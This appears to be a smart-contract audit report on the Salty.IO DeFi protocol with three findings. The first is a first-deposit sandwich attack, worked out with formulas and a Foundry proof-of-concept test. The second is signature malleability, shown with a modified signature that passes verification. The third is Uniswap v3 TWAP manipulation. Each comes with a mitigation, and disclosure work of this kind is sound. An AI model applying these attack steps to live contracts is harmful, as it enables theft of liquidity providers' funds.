Salty.IO - 0xMango's results

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/pools/Pools.sol#L140

Vulnerability details

Impact

Users attempting to deposit liquidity into newly created pools could get sandwiched into losing all their intended balance for 1 asset. This even holds true for users making use of a 0.002% < 1% value minLiquidityReceived as slippage protection.

In dept breakdown:

This exploit is possible thanks to how Pools._addLiquidity() performs its accounting for LiquidityAdded line: 90.

		if ( ( reserve0 == 0 ) || ( reserve1 == 0 ) )
			{
			// Update the reserves
			reserves.reserve0 += uint128(maxAmount0);
			reserves.reserve1 += uint128(maxAmount1);

			// Default liquidity will be the addition of both maxAmounts in case one of them is much smaller (has smaller decimals)
			return ( maxAmount0, maxAmount1, (maxAmount0 + maxAmount1) );
			}

As shown, the addedLiquidity for the first depositor is the sum of both provided asset amounts. This means that an estimation of the slippage protection value would derive from this sum, if not using the sum itself. Shown here in Pools.addLiquidity() line: 140:

		if ( flipped )
			(addedAmountB, addedAmountA, addedLiquidity) = _addLiquidity( poolID, maxAmountB, maxAmountA, totalLiquidity );
		else
			(addedAmountA, addedAmountB, addedLiquidity) = _addLiquidity( poolID, maxAmountA, maxAmountB, totalLiquidity );

		// Make sure the minimum liquidity has been added
		require( addedLiquidity >= minLiquidityReceived, "Too little liquidity received" );

Example: Assuming Bob wants to deposit 2e18 weth and 4000e18 dai into the pool with a 1% of slippage protection, this means he wants to have deposited at least this much into the pool 4002e18 - (4002e18 * 0.01) = 3961e18.

For an attacker to automate his bot to any arbitrary amount Bob might want to deposit, these are the formulas needed:

a = tokenOut.decimals() for p < S
a = 1                   for p = S - tokenIn.decimals()

p = S - (S * e)
r = 101 * providedTokenOut/tokenOut.decimals() * a

Where:
S = sum of provided amounts.
e = epsilon representing the slippage toleranz.
a = Amplification value to set up the desired initial ratio of the pool.
p = Slippage protection value the user chooses.
r = The ratio of the pool, set during the front run.
providedTokenOut = The amount tokens the victim is depositing divided by its decimals.

Lets replace this with our example values:

a = 1e18(dai decimals)  because p < S : (3961e18 < 4002e18)
p = 3961e18             1% slippage chosen by user
r = 101 * 4000 * 1e18

Front run step: Attacker flashloans needed amounts which are: WETH: 101 + 1e10, DAI: 101 * 4000 * 1e18(404000e18), then deposits these amounts into the pool. Pool reserves: WETH: 101 DAI: 404000e18.

Victim: Bob now optimistically deposits his WETH: 2e18, DAI: 4000e18. The result from Bobs tx will yield him 4000e18 + 1 wei of addedLiquidity, which in practice will mean that it will only accept WETH: 1(wei), DAI: 4000e18 from him. Pool reserves: WETH: 102 DAI: 408000e18.

Back run: Attacker now performs: pools.depositSwapWithdraw() passing in WETH: 1e10 as its amountIn an receives: DAI: 407999e18. After repaying the flashloans, the attacker is left with DAI: 3940e18 in profit. Finals reserves: WETH: 1e10, DAI: 4e15.

Abstract: This issue is persistent with any pairs who deviate much in worth between their units or in decimals. So pairs of stable tokens would be an exception if they share the same decimals. Also, this vulnerability can be mitigated by using the entire sum for liquidity deposits which are expected to be the first provision. But these tx's are still easily reverted by natural front-running or validators, making the process not optimal.

Finally the granularity of this attack goes quite far into how low the slippage % or epsilon would have to be, to make the attack not financially worth anymore. A e value of 0.0002 or 0.02% would yield a p of 4001e18, which still makes the attack worthwhile for a couple hundred dollars, but becomes less effective the lower epsilon goes from there on. On the other hand, the smaller epsilon becomes, the cheaper the attack is, flash loan wise. For the user, this will also mean higher odds for the tx to revert, due to natural front running.

Proof of Concept

Foundry proof of concept:

function mintApprove(
        MockERC20 token,
        address spender,
        uint256 amount
    ) internal {
        token.mint(amount);
        token.approve(spender, amount);
    }

function testSandwichAttackPOC() public {
        // Ensure pool is empty.
        (uint256 reserveA, uint256 reserveB) = pools.getPoolReserves(
        IERC20(address(weth)),
        IERC20(address(dai))
        );
        assertEq(reserveA, 0);
        assertEq(reserveB, 0);

        // Front run initial deposit rate:
        vm.startPrank(alice.addr);
        uint256 attacker_amountWeth = 101;
        uint256 attacker_amountDai = 101 * 4000e18;
        mintApprove(weth, address(collateralAndLiquidity), attacker_amountWeth);
        mintApprove(dai, address(collateralAndLiquidity), attacker_amountDai);
        collateralAndLiquidity.depositLiquidityAndIncreaseShare(
            IERC20(address(weth)),
            IERC20(address(dai)),
            attacker_amountWeth,
            attacker_amountDai,
            0,
            block.timestamp,
            false
        );
        vm.stopPrank();

        // Victim deposit:
        vm.startPrank(bob.addr);
        uint256 user_amountWeth = 2e18;
        uint256 user_amountDai = 4000e18;
        mintApprove(weth, address(collateralAndLiquidity), user_amountWeth);
        mintApprove(dai, address(collateralAndLiquidity), user_amountDai);
        // S & p:
        uint256 totalLiquidityExpected = user_amountWeth + user_amountDai;
        uint256 slippageProtection = (totalLiquidityExpected - (totalLiquidityExpected * 1) / 100);
        collateralAndLiquidity.depositLiquidityAndIncreaseShare(
            IERC20(address(weth)),
            IERC20(address(dai)),
            user_amountWeth,
            user_amountDai,
            slippageProtection,
            block.timestamp,
            false
        );
        vm.stopPrank();
        // Confirm that Bob only deposited 1 wei of weth.
        assertEq(weth.balanceOf(bob.addr), user_amountWeth - 1);

        // Back run swap:
        vm.startPrank(alice.addr);
        uint256 finalEthAmount = 1e10;
        mintApprove(weth, address(pools), finalEthAmount);
        pools.depositSwapWithdraw(
            IERC20(address(weth)),
            IERC20(address(dai)),
            finalEthAmount,
            0,
            block.timestamp
        );
    }

Tools Used

Foundry, Math

Recommended Mitigation Steps

The calculation of liquidity shares should not rely on the sum of added tokens on the first deposit. An equation to unify these should be used like in: Uniswap utilizes the root of the product of provided amounts. Curve has its own polynomial eq to join n amount of tokens that reside in the pool, this D invariant then keeps equilibrium in shares & swaps.

Assessed type

MEV

It is possible to use invalid signatures to vote in BoostrapBallot.sol

Signature malleability: Due to the lack of checks in the SigningTools.sol contract, given signatures can be modified for invalid s and v. These signatures if passed into SigningTools._verifySignature() will still generate the desired public key & have the function call pass.

Affected line in question: https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/SigningTools.sol#L11

As proof of this being possible, this modified signature can be used instead of the provided signature in dev/Deployment.sol ln:120. https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dev/Deployment.sol#L120

Modified Signature:

hex"0x291f777bcf554105b4067f14d2bb3da27f778af49fe2f008e718328a91cae2f8e1314f4b12e29a3ab940f9fc393caa97141250333d7957bb1d3c1093d96480e11b"

Original Signature:

hex"291f777bcf554105b4067f14d2bb3da27f778af49fe2f008e718328a91cae2f81eceb0b4ed1d65c546bf0603c6c35567a69c8cb371cf4880a2964df8f6d1c0601c";

This signature will successfully sign tx's with the dataHash of keccak256(abi.encode(block.chainid, msg.sender)); Where the chainid is the one from Sepolia & msg.sender being Alice's public key.

Solution: Using OZ ECDSA.sol contract, which has the proper error handling for invalid signatures and ensures for proper lower s values.

Uniswapv3's TWAP could potentially be manipulated to cause a DOS or price manipulation

Uniswap's v3 TWAP oracle can be manipulated by validators with high stake. Due to the nature of Uniswapv3's geometric mean, the price change needs to occur multiple times, to eventually affect the resulting price feed. Source: https://chainsecurity.com/oracle-manipulation-after-merge/ Unfortunately, the amount of times might not have to be that many. To write an observation in UniswapV3 pools, users must pay extra gas, to make the addition to the array holding the historic price data. Because of this, the TWAP is only maintained by users who actively pay this fee. This participation can be very frequent in some pools while non-existent in others. So the feasibility of this attack boils down to the rate of legitimate oracle observations being done against the malicious ones. Because of this, even the Uniswap team themselves, advises not to rely heavily on their TWAP oracle.(Even v3)

Potential denial of service:

Since the PriceAggregator.sol contract looks out for an initial 3% difference between prices from the different feeds, else throwing an error. The UniswapV3 TWAP would only have to be changed this much, to make its participation invalid. If the protocol is in its infancy and little usds has been borrowed thus far, the CoreSaltyFeed.sol will also be unreliable. This could finally lead to functions in CollateralAndLiquidity.sol to fail, due to the PriceAggregator.getPriceETH/BTC() failing.

Potential price manipulation leading to wrongful liquidations:

Lets assume the protocol is in a more mature state. A decent amount in usds has been borrowed & decent dept exists in both usds/wtbc and usds/weth pools. Now under these conditions, lets further assume that the potential for discrepancy in PriceAggregator.sol was changed to 7% by the DAO. An attack here would involve a UniswapV3 manipulation, slowly changing the price down a 7%. Then in 1 transaction change either the usds/weth or usds/wbtc pool, whichever has more dept in weth/wbtc. Now the average price returned by PriceAggregator._aggregatePrices() will lean towards a price that is 7% off the current spot price, potentially leading to unwanted liquidations.

Solution:

A solid solution to Oracle-based protocols is the one GMX V2 came up with. Where transactions by users are stored in a queue, to then be relayed by their front-end controlled wallet. In case of GMX this was to prevent sandwich attacks, but for Salty.IO this could present the opportunity to use an off-chain oracle, who is garanteed to have correct price feeds. Also having an js/ts script being executed before executing the desired tx given by the user, could also allow for Salty.IO to check potential UniswapV2/V3 pools for further arbitrage opportunities.